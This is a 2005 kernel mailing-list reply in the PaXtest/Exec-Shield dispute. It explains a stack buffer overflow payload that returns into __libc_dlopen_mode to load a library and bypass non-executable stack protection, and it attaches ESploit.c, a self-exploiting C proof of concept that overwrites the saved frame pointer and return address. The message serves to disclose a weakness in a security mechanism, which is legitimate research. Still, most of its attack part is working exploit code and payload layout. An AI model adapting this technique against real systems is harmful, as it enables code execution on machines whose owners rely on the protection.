Re: Sabotaged PaXtest (was: Re: Patch 4/6 randomize the stack pointer)

pageexec
2005-02-07T14:28:37Z

[-- Attachment #1: Mail message body --]
[-- Type: text/plain, Size: 2581 bytes --]

> still wrong. What you get this way is a nice, complicated NOP.

not only a nop but also a likely crash given that i didn't adjust
the declaration of some_function appropriately ;-). let's cater
for less complexity too with the following payload (of the 'many
other ways' kind):

[field1 and other locals replaced with shellcode]
[space to cover the locals of __libc_dlopen_mode()]
[fake EBX]
[fake ESI]
[fake EBP]
[address of field1 (shellcode)]
[address of user_input+x, ends with "libbeecrypt.so"]
[fake mode for __libc_dlopen_mode(), 0x01010101 will do]
[space for the local variables of __libc_dlopen_mode() and others]
[saved EBP replaced with address of [fake EBP]]
[saved EIP replaced with address of __libc_dlopen_mode()+3]
[user_input no longer used in the exploit]

user_input (the original, untouched buffer) ends with a suitable
library name (such as "libbeecrypt.so", see [1]). this string could
have also been left behind in the address space somewhere during
earlier interactions. we have to produce one 0 byte only hence
we're back at the generic single overflow case. this also no longer
relies on the user_input argument being at a particular address on
the stack, so it's a generic method in that regard as well.

one disadvantage of this approach is that now not only the
randomness in libc.so has to be found but also that of the stack
(repeating parts of the payload would help reduce it though), and
if user_input itself is on the heap (and there're no copies on the
stack), we'll need that randomness too.

in any case, you got your exploit method against latest Fedora (see
the attachment [2]), this should prove that paxtest does the right
thing when it exposes the weaknesses of Exec-Shield. now, will you
and Arjan do the right thing and apologize to us or do you still
maintain that paxtest is a sabotage?

[1] https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=132149
it also appears that not only the design and implementation of
PT_GNU_STACK are broken but its deployment as well. not even
its creators managed to get it right, what can we expect from
unsuspecting distros? 5 months and still no resolution? does
this backdoor really belong into linux?

[2] ESploit.c is a simple proof of concept self-exploiting test
that will hang itself when successful. compiler optimizations
and randomizations can introduce 0 bytes in some of the
addresses used (check shellcode length), play with them a bit
to get it to run. stack usage in the (ab)used libc functions
may also require adjusting the buffer sizes.

[-- Attachment #2: Attachment information. --]
[-- Type: text/plain, Size: 472 bytes --]

The following section of this message contains a file attachment
prepared for transmission using the Internet MIME message format.
If you are using Pegasus Mail, or any other MIME-compliant system,
you should be able to save it or view it from within your mailer.
If you cannot, please ask your system administrator for assistance.

---- File information -----------
File: ESploit.c
Date: 8 Feb 2005, 0:07
Size: 1294 bytes.
Type: Program-source

[-- Attachment #3: ESploit.c --]
[-- Type: Application/Octet-stream, Size: 1294 bytes --]

#define _GNU_SOURCE
#include <stdio.h>
#include <dlfcn.h>

char buffer[8192];
void * handle, * mydlopen, * retaddr;
unsigned long eip, fakeebp, * tmp = (unsigned long*)buffer;

void overflow(char * field1, char * user_input)
{
strcpy(field1, user_input);
}

int main()
{
unsigned long shellcode[1024];

handle = dlopen(NULL, RTLD_LAZY);
if (!handle) {
printf("dlopen error: %s\n", dlerror());
return -1;
}
dlerror();
mydlopen = dlsym(handle, "__libc_dlopen_mode");
if (!dlerror) {
printf("dlsym error\n");
return -1;
}
printf("mydlopen: %p\n", mydlopen);

retaddr = __builtin_return_address(0);
printf("retaddr: %p\n", retaddr);

for (eip=0; eip<16384; eip++) {
if (shellcode[eip] == (unsigned long)retaddr)
break;
}
if (16384 == eip) {
printf("can't find saved EIP\n");
return -1;
}
printf("saved EIP: %p at index %u\n", shellcode+eip, eip);

memset(buffer, 0xFA, sizeof buffer);
buffer[0] = 0xEB;
buffer[1] = 0xFE;
fakeebp = eip-1000;
tmp[eip-1] = &shellcode[fakeebp];
tmp[eip] = (char*)mydlopen+3;
tmp[eip+1] = 0;
tmp[fakeebp+1] = shellcode;
tmp[fakeebp+2] = "libbeecrypt.so";
tmp[fakeebp+3] = 0x01010101;
printf("shellcode length: %x\n", strlen(buffer));
overflow(shellcode, buffer);
return 0;
}